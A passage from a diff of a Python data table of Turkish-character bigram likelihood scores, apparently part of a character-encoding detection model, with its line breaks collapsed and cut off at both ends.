# 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 25: { # 'h' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 3: { # 'i' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 1, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 3, # 'g' + 25: 1, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 1, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 24: { # 'j' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 10: { # 'k' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 2, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 3, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 5: { # 'l' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 1, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 2, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 13: { # 'm' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 2, # 'u' + 32: 2, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 4: { # 'n' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 3, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 15: { # 'o' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 2, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 2, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 2, # 'ş' + }, + 26: { # 'p' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 1, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 7: { # 'r' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 1, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 8: { # 's' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 9: { # 't' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 14: { # 'u' + 23: 3, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 2, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 2, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 32: { # 'v' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 57: { # 'w' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 1, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 58: { # 'x' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 11: { # 'y' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 22: { # 'z' + 23: 2, # 'A' + 37: 2, # 'B' + 47: 1, # 'C' + 39: 2, # 'D' + 29: 3, # 'E' + 52: 1, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 2, # 'N' + 42: 2, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 3, # 'T' + 51: 2, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 1, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 2, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 1, # 'Ş' + 19: 2, # 'ş' + }, + 63: { # '·' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 